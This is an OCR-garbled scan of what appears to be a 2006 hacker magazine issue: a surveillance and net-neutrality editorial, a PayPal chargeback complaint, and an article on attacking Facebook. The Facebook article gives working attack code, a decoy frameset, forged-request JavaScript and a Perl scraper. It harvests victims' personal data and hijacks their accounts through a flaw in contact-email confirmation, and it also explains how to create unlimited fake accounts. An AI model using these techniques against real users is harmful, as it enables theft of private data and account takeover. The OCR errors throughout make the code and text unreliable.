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WhOITl Shall 
We BlaITle? 

When th ings go bad Ly, it's usua lly rather easy 
to fi n d  someone who shou Ld take the responsibi l­
ity. And whi Le a LL of that may be a Lot of fun ,  it 
rareLy soLves a nythi n g .  U n Less, of course, the an ­
swer manages to  wake  you  up  and  get you  to  do  
thi ngs  differently. 

We've had a LL ki nds  of reveLations  in the past 
few months .  Domestic spyi ng  is one of the 
biggest by fa r. Last yea r it was revea Led that the 
Nationa L  Security Agency had been spyi ng  on 
Ameri ca ns within the U nited States through 
phone and  Internet conversations  that went on 
with peopLe i n  other countries .  Th is  was done  se­
cretly and  without cong ressiona L  approva L. And 
everyone  was  outraged.  There was  ta Lk of im­
peachment, Lawsuits ,  a rea L h a rd Look  at just how 
our  freedoms have been  abused si nce 9/11 .  And  
then  it a LL seemed to  fade i nto the d rone  of  i nane  
media chatter. We  j ust accepted i t  as yet a nother 
excuse to be cynicaL somethi ng  we couLdn 't pos­
sib Ly ever do  a nyth i ng  about, and yet another 
ma rker on  the roadway to freedom's end.  

More recently, it was revea Led that the NSA 
had been coerci n g  the teLephone  com panies of 
our  nation  to give them access to aL L  of their 
records i n  order to see who was calli n g  whom.  
Sure, th i s  was  somethi n g  a LL phone  companies a L­
ready store for bi lli n g  purposes. But never before 
had aL L  of this i nformation  been merged - with 
the obvious goaL  to have a record of every caLL  
p Laced. And never before was i nformation  of this 
mag nitude si mp Ly handed over to the govern­
ment. And i n  comp Lete secrecy! Yes ,  it was a n  un­
p recedented i nfri n gement of ou r  p rivacy and one 
that was done without any sort of oversig ht. The 
phone companies that pa rti cipated deserve to be 
sued out of existence for vi o Lati n g  the p rivacy of 
their customers in this fash ion .  Those in the gov­
ernment who orchestrated this deserve to be 
brought up on charges. Instead ,  a good many 
Americans  turned a b Li nd  a nd  defeatist eye to 
this, rationa Lizi n g  that a LL of this i nformation  was 
out there anyway and that this ki n d  of thi ng  was 
i nevitab Le in these times.  Besides, if you have 
noth i ng  to hide,  you have nothi n g  to worry 
about. When  Edwi n  Meese put forth that idea a 

generation  ago ,  the sense of outrage was pa Lpa­
b Le.  Everyone has somethi ng  they don 't want in 
the hands of the authorities but that fact s hou Ld 
never imp Ly gu i lt of any sort. The desi re for 
privacy is nothi ng  to apo Logize for. 

Of course, we a Lways come back to the sa me  
o Ld refrain about a LL o f  t h i s  bei n g  necessary i n  
t h e  name o f  security. And there is a degree of 
truth in this .  If a govern ment knows every detai L, 
every phone  caLL, every Letter, every contact, 
every thought of its citizens ,  then , yes , it wi lL be 
better equi pped to step i n  when somethi n g  bad is 
bei ng  p La n ned .  But do  we rea LLy want to Live in 
that ki nd  of soci ety? Do we a Lways want to be 
spyi ng  on each other, snitch ing  on anyth ing  we 
deem to be even s Lig htly suspicious ,  j udgi ng  ou r  
nei ghbors and  those we  come  i n  contact with 
du ri ng  the course of a day? By cra n ki n g  up the 
fea r  factor, it ' s  possib Le to get peopLe to stop 
trusting  each other  enti re Ly and  to Live their 
whoLe Lives as perpetua L  combatants. The saddest 
part is that it never goes away. There is no vic­
tory. The paranoia doesn 't abate. The enti re tone  
o f  our  civi lization  changes to  somethi ng  da r k  a nd  
joyLess. 

So who is to b Lame?  The government? Large 
corporations? Terro rists? Natura LLy, they' re a LL 
p Layers i n  this Little d rama .  But they u LtimateLy 
a re j ust fuLfi LLi ng  thei r  ri g htfu L ro Les i n  society. 
No govern ment on earth doesn 't want to spy on  
its citizens and  get access to  so much more than  
they a re entitled . The mai n  ruLe i n  th e corporate 
worLd is to do what is best for the sha reho Lders 
a nd  to not get caught if that i nvoLves a nythi ng  
truLy evi l. And terrorists a re simp Ly terrorists , a L­
though the media seems to deLi ght i n  maki ng  
t hem  fa r more sophisti cated,  organized, a nd  i n ­
teLLigent t han  they have ever p roven themseLves 
to be. 

The rea L cuLprit, as most of us aLready know, is 
us ,  the very popuLace that i s  bei ng  abused i n  this 
manner. We keep Letti ng  it happen ,  buyi n g  i nto 
a LL the j ingoistic crap ,  and  not reacti n g  stro n gLy 
as they do i n  so many other  pa rts of the worLd . 
We've accepted the n otion  that it's somehow bad 
to get angry and Loud when the occasion ca LLs for 
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it. But h ow many more reasons wi ll we need be­
fore we fi na lly stop politely hand ing  over our 
rig hts? 

To pin the responsibi lity on outside forces is 
to si mp ly a llow ourselves to be man ipu lated .  
There have a lways been dangerous elements on  
the g lobal  stage .  Watch the recently released 
movie Munich to see how many terrorist acts were 
ta ki n g  p lace du ri n g  the 1970s .  It's nothi ng  new. 
What has changed dramati cal ly i s  how we a re re­
acti n g .  Our  govern ments now openly use tortu re 
as a tactic and  so do ou r  h eroes in our  favorite 
television  programs .  It's OK to be evi l if you per­
ceive yourself to be on the side of good (which 
sounds remarkably simi la r  to what any terrorist 
wou ld say) .  We've accepted that it's now neces­
sary to ho ld people for long  periods of time with­
out chargi ng  them with a nyth i ng .  And if they 
come  from a different country, we can transport 
them to ours (or  to secret p risons i n  other partic­
i pati n g  nations) a nd  do whatever we want to 
them without havi ng  to worry about the Consti­
tution  because they're n ot Americans !  Some­
where a long  the li ne ,  this too became  acceptab le 
behavior, based on our  co llective non-reactions .  

Some of you may beli eve that th i s  is enti re ly 
too po litical a discussi on  for these pages. You 
h ave o n ly to look  at a ll of the negative changes 
that have been goi ng  on  over the years to see 
how it a ll ties together. The climate of war, suspi­
cio n ,  and techno logica l oppression  merge i nto 
somethi n g  tru ly awfu l. And th roughout it a ll, we 
n ever actua lly gain the security or  the freedom 
we were p romised . We si mp ly forget h ow it used 
to be and foo l  ourselves that times used to be 
simp ler. 

A fea rfu l populace wi ll h and  over the ki ngdom 
to those they beli eve wi ll de liver them from their 
n ig htmares. It's up  to us ,  as supposedly en light­
ened a n d  i nte lligent people, to spea k up when 
somethi ng  i sn 't t rue ,  when the facts don 't add 
up ,  when the e lim ination  of one  ri g ht wi ll lead to 
the e lim ination of so many more .  

U n li ke i n  the world of fi ction ,  when change 
occurs, it doesn't happen overnig ht. It's a very 
gradual  process that ta kes p lace one step at a 
ti me .  But if you loo k  back a nd  take i n  a l l  of the 
changes that have occurred i n  a pa rticu la r  num­
ber o f  years, you  wi ll be shocked at h ow much our  
way of  life has changed .  Thi n k  of  tech no logy as a 
para llel to this .  H ow different is the world of to­
day with rega rd to telephones and  computers 
tha n ,  say, the world of 20 years ago? Apply that 
to the survei lla nce, fea r, and su rrenderi n g  of 
rig hts that have been ongo ing  in that same time  
period a nd  it's down right  sca ry. You may  not see 
the changes from one day to a nother. But with 
every day that passes, we move further a nd  fur-

ther away from where we were. And if we have no  
control over where we're goi ng ,  you  can  count  on 
a ll of  us bei n g  i n  for a rude awa kening when we 
fina lly ar rive . 

As we go to press, we' re receivi n g  word of the 
i m pending downfa ll of net neutra lity, the " Fi rst 
Amendment of the Internet," now bei ng  targeted 
for elimi nation  by our  govern ment at the behest 
of telephone  a nd  cab le companies .  Net neutra lity 
is what the Internet is based on - the expectation  
that  a ll data wi ll be treated with equa l  i mpor­
tance, rega rd less of where it comes from or where 
it's goi ng .  If we conti nue  i n  this di recti o n ,  soon 
you could see a scenario  where o n ly people who 
pay a fee to, say, AO L wou ld have thei r  mai l  de liv­
ered there in a ti mely manner. The mass m edia is 
hera ldi ng  this as a victory for "competition "  when 
it is no  such thi ng ,  a lthough  we understand  why 
it ' s  i n  their interest to portray it as such . The 
losers wi ll be those of us who have come to ap­
p reciate the net as a means for a nyone  a nywhere 
to gain access to a world of com munications .  And 
if  we conti nue  down this road ,  you can bet the 
net wi ll be u n recognizab le (i n a bad way) i n  the 
next 20 yea rs. 

Peop le power does make a difference.  We've 
seen it on  a la rge sca le when the popu lace of 
some foreig n  la nd  gets pissed off one  too many 
times and  thei r  government is toppled .  We've 
seen it on a ti ny scale, such as the recent case i n  
New York where motorists got outraged a t  a new 
$ 1  a month fee on their EasyPass toll devices 
a nd ,  agai n st a ll the odds,  legi s lation  was re­
versed a nd  the fee aboli shed .  We see the reli­
gious right  dictate terms to broadcasters 
th roughout our enti re country a nd  create a cli­
mate of censorsh ip a nd  paranoia  - just because 
they know how to organize and create the per­
ception  that this is what most people want. Peo­
p le power works for whomever i s  wi lli n g  to get 
organized . 

So this goes one  of two ways . Either we a re a 
powerless mi no rity who a re livi n g  i n  a fa ntasy 
world of idea lism and  naivete . Or we a re i n  synch 
with most people who see it a ll fa lli n g  apart 
a round  them but haven't a clue as to what to do 
about it. No  matter which it is ,  we need to do 
more if we expect to reverse these trends .  We 
need to speak louder, be more aggressive i n  get­
ti n g  the word out, and  not buy i nto any of the 
crap we're bei ng  fed .  Most importantly, we need 
to al ly ourselves with those who sha re our con­
cerns ,  rega rd less of whether or  n ot they sha re all 
of our concerns.  The tide is not goi ng  to turn on 
its own . Those entities causi ng the harm a re j ust 
doi ng  what they i nevitab ly do. It's the thi n ki ng  
people who n eed to  do more a nd  not beli eve for a 
moment that it's not possib le.  
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''Are you telling me that tens of millions of 
Americans are Involved with al Qaeda?" 
- Senator Patrick Leahy in response to recent 
revelations that the NSA has been secretly 
attempting to create a database of every call 
ever made within U.S. borders. 
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by 
Any actions described here, if they were per­

formed at a ll, were performed on ly on the a uthor's 
persona l  facebook accounts, web servers, etc . No 
persons were fa lse ly represented , harassed, or ma­
ligned .  No data of any ki nd was destroyed or inap­
p ropriately accessed and ,  regard less of whether 
the fo llowing scripts were or were not executed 
and  in whatever context, Facebook.com was not 
harmed in anyway. This document is on ly an 
exercise.  Don 't brea k the TOS .  

Introduction 
Facebook is a socia l  networki ng  site for co llege 

and high school students .  As of March 2006, 
www.facebook.com boasts of being  the seventh 
most trafficked website on the net. It a lso has a 
venture capita lization  of ludicrous size. 

In comparison to MySpace, recently affected by 
Sa my's famous worm , Facebook  ma kes widely pub­
li ci zed clai ms to high security and privacy. In a re­
cent a rti cle in the Capital Times of Madison ,  WI. 
spokesman Chris Hug hes ca lled Facebook the 
safest socia l  network on the Web. " U n li ke other 
sites li ke MySpace, where the information is avai l­
ab le to over 20 mi llion people, on Facebook a 
user's profi le is avai lab le at most to a few thou­
sand people who a lready share i n  that person 's 
" rea l world" community. " he  sai d .  

The  article went on to  say: "All co llege stu­
dents have an ' . edu '  emai l account from thei r  
schools ,  a llowing each profi le to  be traced back  to 
a rea l person .  This way, no one member can ever 
be 'anonymous. '  As a second form of security, the 
site has a 'My Privacy' option ,  al lowi ng  members to 
decide exactly who they want to view thei r  profi le, 
whether it be just thei r  friends ,  on ly friends 
of friends,  or al l  the students within thei r  
university." 

None of these are true. 
Background 

I'm an engineer. Because of a project I was do­
i ng ,  I had begun to lea rn a little bit about xml­
HTIPrequest and ,  because of that, cross-site 
scri pting  vulnerabi lities (XSS ) .  There a re some re­
lated techniques to XSS, namely cross-frame 
scripti ng and form request forgery. The first two 
a re ways to have a javascript hosted at one site to 
read data via the user's web browser from other 
site . This is i nteresting  because pages are loaded 
with the user 's browser privi leges, and if the user 
is a uthenticated , the scri pt cou ld operate within 

that a uthentication vector. Firefox and IE to some 
extent have done a good job preventi ng these at­
tacks. However, un less the browser and  the web­
site both a re comp letely secure, the protections 
can be defeated .  

A Facebook Profile 
Facebook has done a good job protecti ng the 

site from javascript injection attacks; their so lu­
tion is obvious :  no HTM L markup of any ki nd  is a l­
lowed to pass through  the form va lidati on .  All 
tags a re stripped.  All submission information  be­
comes plai ntext and then is escaped before bei ng  
pri nted to  the HTM L page. Because of  this every 
Facebook profi le looks identica l  and  bori ng  as 
he lL u n li ke MySpace. It's impossib le to express 
you rself via formatti ng .  Any li n ks that appea r a re 
generated after the p laintext conversion by wrap­
pi ng anchors around the fields .  So it seems that 
Facebook is not vulnerab le to the i njection attack 
used by Samy i n  his MySpace worm, a lthough in 
the "My Albums" section ,  where users ca n up load 
pictures, there are some suspicious activities. The 
up load process is managed by a trusted java ap­
p let that lets you browse your  hard drive. We al l  
know that that can 't possi bly be comp letely se­
cure, and  there is a piece of javascri pt (one of the 
ra re bits of script on Facebook anywhere) that dis­
plays a box around people i n  a picture when you 
poi nt to their name.  Defi nitely a possib le i njection 
point, si nce you can specify the name of the per­
son with freetext (sti ll tag-stripped, thoug h ) .  
Si nce t h e  ho les be low have proba bly been fixed, 
these wou ld be the next best p laces to look, i . m .o .  

J ust when you thi n k  you are safe . . . .  
Getting a n  Account 

Facebook li mits registration to people with ap­
proved email  addresses. mai n ly those that end in 
.edu from an  approved school. They claim that this 
guara ntees that an account is li n ked to an actua l  
person ,  that a person can on ly have one account 
that people in the world at la rge can 't snoop, etc. 
Yea h ,  right. 

Facebook checks this by sendi ng a confi rma­
tion li n k  to the address. Once you confirm this ad­
dress, you can add a secondary address at a ny 
mai lserver and a ll fu rther Facebook communica­
tion goes to that. 

The Facebook parsi ng  of addresses is not rigor­
ous .  They disa llow +postfixes on addresses (i . e . ,  
no user+bla h@school .edu ) ,  which wou ld a llow 
easy, but traceable, u n limited account creation .  
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ut that's pretty much a ll they do. Some schools 
offer fu lly qua lified IP addresses fo r every net­
worked computer, for example, room382b­
dorm23.dorm la n .school.edu. 

All we have to do in that case is run a mail 
server on our  personal  machine for five minutes 
(ArGo Free is a good one). Facebook, my email is 
user@room382b-dorm23.dorm lan.school.edu! 
OK! says Facebook. You ' re in! Check the mail, grab 
the link ,  shut down the mail server permanently. 
Use a roaming con nection if you want a little more 
privacy; it will be harder to trace, assuming your 
school qua lifies their addresses. 

Are you not at an educational  institution? No 
problem! Some a lumni associations will give you 
an a lumni email address even if you a re not an 
a lum ni. For example, U.C. Davis. Just sign up as a 
"Friend , "  pay your $50, and  there you go, a Face­
book account. It's cheaper than paying tuition. 
Never say never. You couLd aLso just bribe a stu­
dent at the schooL of your  choice to sign you up. 
Accounts at the same schooL have more priviLeges 
in regard to the information they can view about 
each other. 

Or you couLd steaL an account, which we will 
get to later. 

Anyway, the long and  the short of it is that in­
finite accounts are possib le. I did a crappy job of 
staying anonymous, but you ca n do better. 

The Attack Vector 
The Facebook user authenticates with a cookie. 

Oddly, they can sign in with either their schooL ad­
d ress or their secondary add ress. Same password. 
They then get a happy little ba ked good aLL of thei r  
own. The on ly other time that  the password i s  
checked is when  the user changes their password , 
the standard once oLd ,  twice new. Actually, there 
is one other time. The  password is checked the 
first time the user adds a secondary email address 
and  fo llows the confirmation li n k. Keep this in 
mind. 

Now, what if the Facebook user visited some 
web page containing a script that couLd read that 
cookie? Then the page couLd stea l authentication. 
This doesn 't work due to XSS browser security con­
tro ls. 

But commands on Facebook are processed via 
forms, for example, to send a message to another 
user there is a POST form li ke so: 
h t tp : //schoolname.facebook.com/message. 

-php?i d= O O O O O O O O&msg=yo%20momrna%20so%20f 

-at&send=Send 

"id "  is a numeric ID of the recipient. But wait. I 
said it was POST. What gives? Who knows, actua Lly, 
but Facebook happi ly accepts a GET request too. 
ALso, it doesn't check the referrer. ActuaLLy, the 
form submits a bunch of other j u n k  fieLds a Long 
too , but Facebook doesn't check them at a Ll. We 
could have been temporari Ly stopped if Facebook 
checked the sender's ID , which our  script initiaLLy 

wouLdn 't have access to, but they don 't. Also, 
Facebook prefixes the name of the school to U RLs. 
Sometimes it matters, sometimes not. For sending 
a message it doesn't matter. You can use "www" or  
nothing or a ny school  name and  the message stilL 
gets sent. This is p Leasant because otherwise we 
wouLd have to brute force the schooL name via the 
javascript. Not impossible, but annoying. Or just 
limit ourselves to one school. 

So if we hide such a li n k  in an IF RAM E src, a n  
authenticated user who  browses by  wiLL s end  a 
message. It appears in their  Facebook outbox, but 
nobody ever checks their  outbox. If the user is not 
authenticated ,  Facebook redirects to a login page 
with _top. This is convenient. Maybe then the user 
will Login and press "back" and then send the mes­
sage. In order to prevent them from seeing that 
the message was sent, we wi LL direct them to a 
ha rmLess page (http ://facebook.com/home.php) 
first. Then  they ca n authenticate with no suspi­
cions. 

What does sending a message accompLish? 
WeLl. .. when you receive a message from someone, 
you can browse their  profi le rega rdLess of what 
thei r  privacy settings a re (with a few minor  qua li­
fications). So if we send a message to ourselves 
from the target, we can write a little CGI script to 
browse to that message, Load the target's profile, 
and extract whatever we want about them. If this 
CGI script is on  the same domain as our javascript 
web page, cross-frame scripting contro ls do not 
appLy. Effectively we can read anything we want 
from the user's Facebook profile. Most frig hten­
ingLy, this includes their  rea l name. We could a lso 
captu re their  email addresses if we want, but they 
are images and  wou ld require some minimaL  OC R 
backending of things. Ah ,  spam ,  how we Love 
thee! 

Around this point I got some wings for lunch ,  
which was  a mista ke. Don 't do that. 

The Beginning of the Javascript 
i ndex. html: 

<h tml > 
<head> 
<ti t l e>Hot Sexy Phot os!!</ti t l e> 
</head> 
<frameset col s="Opx, *" frameborder="no" 
-framespacing="O" border="O"> 
<frame src="/script . h tml" scrol l i ng="no" 
-noresize name="na v"> 
<frame src= .. h t tp : //www.flickr.com/photos 
-/tags/party/show/" scroll ing= "a u t o" 
noresize name="main"> 
</frameset> 
<body> 
</body> 
</h tml> 

The flickr frame wi ll give them something 
vague ly co llege-related to look  at whi le the script 
does its work in the hidden frame. 
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scri pt. htm l: 
<html> 
<head> 
< t i t l e>pwned!<lti t l e> 
<Ihead> 
<body> 
<i frame name="face" src="about : blank" width ="95%" heigh t ="40 0"><liframe> 
<iframe name="script" src="abou t : blank" width="95%" heigh t ="40 0"><liframe> 

<script type="textljavascript"> 

f OI); 
set Timeout I ' f1 I) ' , 2 0 0 0); 
se t Timeoutl ' f21) ' , 5 0 0 0) ;  
set Timeou t  I 'f3 I ) , , 8 0 0 0); 

function fO I ) 
II test if we are authen t i cated 

window . frames [ .face .] . l ocation= .. h t tp : //www . facebook . com/home . php .. ; } 
function f l l) { II send a msg 
window . frames [ ' face ' ] .  l ocat ion =  "h t tp :  Ilwww . facebook . comlmessage . php?i d = 0 0 0  
- 0 0 0 0 0&msg=word%2 0 up%2 0ho&send=Send" ;  
} 

... to be conti n ued. 
Collecting the Data 

Here's a perl script to parse the fie lds we a re interested i n :  
scri pt.cgi : 

#!Iusrlbinlperl 
use warn ings; 
use stricti 

use CGI : : Carp qwlfatalsToBrowser); 
use CGI : : Pre t ty qw[ : standard unescape escape]; 
use WWW : : Mechan ize; 

my $facebook_email "our . l ogin\@emai l . address"; 
my $targe t_prefix = "our . l ogin "; # to be explained later 
my $targe t_suffix = "I@email . address"; 
my $pass "p4s5wOrd"; 
my $base = "facebook . com"i 
my $self = "our . server . url"i 
my $self_suffix 

$ / = 1 ;  

pri n t  "Con t en t - type : t extlhtml l n l n" ;  
pri n t  "<h tml><head>< t i t l e>cgi<lt i t l e><lhead><body><form name=1 "gfb l "  
method=1 "get l " act i on =1 "about : blank l ">In l n" ;  

s u b  pri n tFormEl emen t { m y  I$name, $val) 
-\ "$name\" val ue=\ "$val l "><br> l n" ;  

@_; pri n t  "<inpu t  type=\ "text \ "  name= 

} 
my $mech = WWW : : Mechanize->newlautocheck => 1 ) ;  

$mech ->getl ' h t tp : // '  . $base); 
$mech ->form_namel "l oginform"); 
$mech ->se t_visibl el$facebook_emai l ,  $pass); 
$mech ->cli ck_but t on I "name" => "doqui cklogin"); 
pri n tFormEl emen tl"auth", "ok") ; 

$mech ->fo l l ow_l inkl t ext_regex => qrlMy Messagesl); 
pri n tFornlEl emen t ("messages ", "ok") i 

# fol l ow the first profile l i nk which isn ' t  oursel ves 
$mech ->fo l l ow_l�nkl urI regex => qrlprofil e l . phpl, n => 2); 
printFormEl emen t I "profile", "ok"); 
#$mech ->rel oadl); 
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� grab the school prenx, bc we rock l ike that 
my ($school) � $mech ->uri() �- m/\/\/(.+?)\./ ;  
pri n tFormEl emen t ( "school" ,  $sch ool); 

# get the n ame of sender 
my $page � $mech ->con ten t(); 
my ($sender) � $page �- m/>(.*?).s Profll e</im; 
$sender � "\L$sender\E"; 
pri n tFormElemen t ("sender", $sender); 
$sender �- s/ jig; 
pri n tFormEl emen t ("con tact", "$target_prenx+$sen der$t arge t_sufflx"); 

# sl urp up the informa t i on from %flel ds 

my %fiel ds � ( "Sch ool Mai lbox:" �> "mai l box" , "Mobil e:" �> "cel l",  "phone:" �> 
-"phone"); 
my $key; 
foreach $key (keys(%fiel ds)) { my ($va l) $page - m/$key.*?wrap\">(.*?)</sm; pri n t  
-FormEl emen t ($fiel ds{$key} , $va l ) ;  

} 
# wi th anch ors %fiel ds = ( "Curren t Address:" => "cur_address" I "AIM&nbsp ; Screen 
-name:" => "sn"); 
foreach $key (keys(%fiel ds)) { my ($va l) � $page - m/$key. *?wrap\ ">. *?\ ">(. *?)</ms; 
-pri n tFormElemen t($flel ds{$key} , $val); 

} 
# mul t i l i n e  
my $va l � ""; 
my ($webs) � $page - m/Websi te:(.*?)<\/tabl e>/ms; 
my @urls � spli t( 'href', $webs); 
foreach (@url s) { 

my ($url) � $_ - m/\"h t tp:\/\/(.*}I"/ ;  # skip blanks and a l so our own url if we 
-were h ere before if ($url && $url 1- m/$sel f/) { 
$url - s/(\nj\r)//g; 
$va l "$url 

} 
} 
# add a link to our script 
$val . � "$sender$self$self_suffix"; 

pri n tFormEl emen t ("websi te" I $val) ; 
pri n t  "</form></body></h tml>\n"; 

Not too bad. Note how it retu rns the values as fo rm fields. This ma kes them easy to reference from 
the javascri pt side of things. It has a flaw, though. It a uthenticates every time. Don 't do this. There is 
a way to save the authentication  cookie for Mecha nize. When I tested this out in my mind  as a thought 
experiment on ly, authenticati ng  once every min ute o r  so du ri ng  mental debuggi ng  caught the imagi­
na ry eye of a n  imagina ry admi nistrator who worked at my hypothetica l  Facebook- li ke site, and after a 
while my imaginary account was imagina ri ly locked. Fuck. Then ten min utes later, my primary account. 
Oh well. Game  over; they ca n do what they want. No  more imagina ry Facebook. 

A lso, du ri n g  this same p rocess the privacy setti ngs fo rm and  fields were subtly changed by the site 
operators, as part of a schedu led update I assume, a n d  my regexs stopped worki ng. This caused me no  
end o f  head  scratchi ng, o r  wou ld have, had I actua lly been  running the scripts against it. Don 't ru le 
out a possib le change on the server side. 

He re's the rest of the script.html fi le : 
function f 2 ( )  { 

Javascript Again 

1/ load the f acebook values ... cross-site secur ity? what ' s  that ? 
window. f rames [ , sc ript I ] .locat ion= " / c g i -binl script. cgi " ; 

} 
function f 3 ( )  { 
/ /  wait for the c g i  to respond 
try { test � window. frames [ ' sc r ipt ' j.document.f orms [ O j.website.value; } catch ( e )  { 
-setTimeout ( 'f 3 ( ) ; '  , 15 0 0 ) ;  return; } 
1/ popu late the new request 
f � window. frames [ ' sc r ipt ' j.document.forms[ O j; 
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reque s t_string = ' ' http : / / '' + encodeURIComponent ( f . schoo l . value) + 

" " . f acebook . com/contactin fo . php ? & s ave_c ontact_in f o= l & contact= " + enc odeURI Compo 

"nent ( Lcontac t . value) + " & sn= " + encodeURIComponent ( Ls n . value) + " & c e l l = " + 

"encode URI Component ( L  c e l l . value) + " & phone= " + encode URI Component ( L  phone . value) + 
" " &mailbox= " + encodeURI Component ( Lmailbox . va lue) + " & cur_addre s s = "  + enc odeURI Com 

"ponent ( f . cur_addre s s . value) + " &website= " + encodeURIComponent ( f . website . va lue) + 

" " & s how_email = 8 & s how_aim= 2 6 & s how_c e l l = 2 6 & s how�hone=2 6 & s how_mailb ox=2 6 & s how_ad 

-dre s s = 2 6 & s ave=S ave " ; 

II pwned ! 

Ilwindow . f rame s [ ' s c ript ' j . document . write ( reque s t_s tring); 

window . frame s [ ' f ace ' j . loc ation=reques t_s tring; 

s e tTimeout ( ' f4 ( ) ' , 3 0 0 0 ) ;  

} 
func tion f4 ( )  { 

II bust s ome frame s 

top . loc ation . href . .  http : / /www . fiickr . com/photo s / tags / party / s how/ . .  ; 

} 
II byebye 
- - >  

< / s c ript> 

< / body> 

< / html> 

What does this do? WeLL, it caLLs the server script a nd ,  assuming no o ne  e lse has sent us a message 
between function  ca LLs, we get back the p rofi le information of the ta rget. We then popu Late a nother 
G ET request (which again is usua lly a POST on  Facebook but sti LL works) with the profi le i nformation. 
This is so the update doesn 't noticeab Ly destroy the user's other  contact settings. The CGI script has 
added our website to the website Li n ks,  so now the user 's  profi le points to our  script i n  case a nyone  
stumb Les a Long  and  clicks. 

Furthermore, the Li n k  is rewritten with a (mea ning Less) prefix based on the ta rget's n ame, so that 
it Looks Li ke the Lin k  is re Levant to the target. We a Lso set the privacy settings  of the vaLues to be as 
pub Lic as possib Le. 

Conti nuing  to the punch  .... 
The Authentication Failure 

Notice what we have done  to the contact address. We have changed it to our  own address, with a 
+postfix identifying  the ta rget. What's the point of this? 

WeLL. .. i n  a biza rre oversig ht. when a user a Lready has a contact address (which is the secondary ad­
d ress, not the schooL  one) defined and changes it. a confirmation email goes out to the n ew add ress. 
C lick that Li n k  a nd  - no matter who you a re, no matter what your  IP address is, no matter what session 
cookies you have or  don 't have - once you confirm the address on Facebook you become authenticated 
as a user ... without bei ng  asked for the password! Ho Ly security ho Le, Batman! 

ALso n ote that changing  the contact info rmation is one  of the p Laces where the correct schooL  
name is requi red. O h  n o! We a re stuck! Oh,  wait. Ou r  CGI script provided that a Long  with the profi le in­
formation. 

Conclusion 
So we have a created a worm-Li ke ... thi ng. It requi res a user c lick, but whatever; Facebook users 

click a nything. We a re n ot bei ng  destructive of profi Les u n Less you ta ke advantage of the contact email 
flaw. Even the existi ng  sites i n  the website fie Ld a re maintained. 

I thi n k  it's p retty cooL. 
There a re other  things  you couLd probabLy do :  a utomate friend requests, obtain a sin g Le account at 

every schooL, post goofy things on "waLls." 
In my mind  while menta LLy testing  this out, I sudden Ly noticed at one  point that the CGI script had 

retu rned i nformation for someone other than  the test user. From someone  at imagina ry Ha rva rd. Ho Ly 
shit: imagina ry Facebook  was founded by a n  imaginary Harva rd student. Ah ,  I am caught. J udging  by 
the imagina ry access Logs, the flaws (some of them at Least) wi LL be fixed in short order (or wouLd be 
by any competent administrator). 

Anyway, it' s a LL fo r the best because I rea LLy am not that i nterested i n  peop Le's profi les, or  who they 
poked, or messaged,  or whatever. 

J ust Leet hax. 
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Geffing Screwed 
by si licOnsi Lence 

www.si licOnsi lence.com 
2600@si licOnsilence.com 

If you've used eBay, th en it' s a lmost li kely 
that you 've used PayPa l. If you ' re a seller on  
eBay, PayPa l i s  critica l to  you r  success.  Bei n g  a 
college student, months ago  I n eeded some extra 
cash .  My mother to ld me that if I so ld her  note­
book on eBay, s he  wou ld give me a cut of the 
money. Bei n g  desperate, I ag reed. I ca refu lly in­
spected the notebook to make sure a ll the specs I 
posted were accurate. 

A week later, the laptop had been sold for 
$615 .  After I received the payment, I tra nsferred 
the money to my ba n k  account a nd  then shipped 
the laptop via U PS with free i nsura nce. A few 
days later, the buyer sent me an eBay person a l  
message. H e  told me how  happy he  was a nd  that 
he  wa nted to know if I had a ny more .  I responded 
with ,  "You ' re welcome,  but I 'm sorry, I have no  
more . "  A few days went by. I t hen  got  a n  emai l  
that the buyer was disputi n g  the pu rchase and 
my PayPa l account  had been frozen .  

I contacted PayPal won deri ng  what  was  going  
o n .  The PayPa l employee that  h elped me  told me  
that the buyer was  disputi ng  the purchase 
through his credit card company because the 
item was not as  described .  I fig u red I was i n  the 
rig ht. H ow cou ld I go  wrong?  

A week  later my balance was  -$625 .  (The extra 
$10 was a fee PayPa l took  because of the dis­
pute . )  PayPa l sent me an  emai l  telli ng  me that 
the credit card company refunded my buyer's 
ca rd , so PayPa l had to refund  the credit card com­
pany, th us leavi n g  my ba la n ce negative i n  a la rge 
sum of money. 

So this rea lly sucked. Not o n ly was lout $625, 
but I did n 't even have the laptop .  An obvious 
sca m ,  but PayPa l d idn 't see it this way. They did­
n 't ask  to make arra n gements to get the n ote­
book returned ,  a nd  when asked they said it was 
out of their hands .  They told me if I gave them 
the tracki ng  n u mber, it wou ld he lp my case. 
When I sent it to them,  they responded sayi n g  
that the tracki ng  n umber was inva li d .  Two min­
utes later they sent a nother emai l  sayi n g  that it  
was va lid  but the  chargeback was over the  item 
not bei n g  as  descri bed . Incompetence .  Why did 
they ask me to send it?! 

So he re I a m ,  stuck in this nig htmare of Inter­
n et fraud .  If PayPa l were a mora l  company, they 
wou ld see this as some sort of scam ,  seek i nspec-

tion  of the laptop ,  o r  keep i n  mi nd  that I had  a no  
return policy. I was  beginn i ng  to  frea k out. I 'm 19  
a n d  I have no  money. N o  attorney wou ld probably 
ta ke me seriously a n d  PayPa l is telli n g  me they 
wi ll seek lega l action  if the funds a re n ot re­
tu rned .  

Off to Google I went .  I found  out there a re 
h u nd reds of people who have had my prob lem ,  
a nd  even websites dedicated to  exploiti ng  Pay­
Pal .  paypa lwa rni ng . com a nd  paypaLsucks .com 
contai n thousands of stories a bout PayPal, most 
looking  exactly li ke mine .  Stories of frozen ac­
counts a n d  chargebacks that occur years after 
the tra nsaction! To avoid headaches, I would rec­
ommend  stayi ng  away from PayPa l completely, 
a lthough  I don 't see many people ta king that ad­
vice. Keep these two things  i n  m i nd :  

1 )  Readi ng  PayPa l' s  Term's  o f  Service (TOS) , 
you waive your  rights to credit card consumer  
p rotection laws if you  want to  use thei r  servi ce, 
a n d  that you may n ot issue a chargeback for 
unauth o rized use of you r  credit ca rd and  PayPa l 
account, or if you do ,  then they have the right  to 
limit you r  account. 

2 )  PayPa l's security is a bsolutely disgusti n g .  
There a re h u nd reds o f  PayPa l phishing  a n d  spoof 
sites. Shou ld you fa ll victim ,  PayPa l wi l l  ho ld you 
responsib le not matter what. Reading  the section  
of the TOS that  tells you they can close your ac­
count for a ny reason , you wi ll h ave to wait 180 
days after the account i s  closed to get any money 
that is you rs .  

3 )  Customer service i s  h orri b le .  When  I asked 
to contact someone ,  they sent me an add ress. I 
then replied to the emai l  telli n g  them I d idn 't 
have ti me to send a letter a nd  that I n eeded a 
phone  n umber. They rep lied telli n g  m e  they did 
n ot have a phone n umber  but offered a fax n um­
ber. A company as la rge as  PayPa l a nd  eBay a nd  
not one  telephone  n u mber. Odd .  

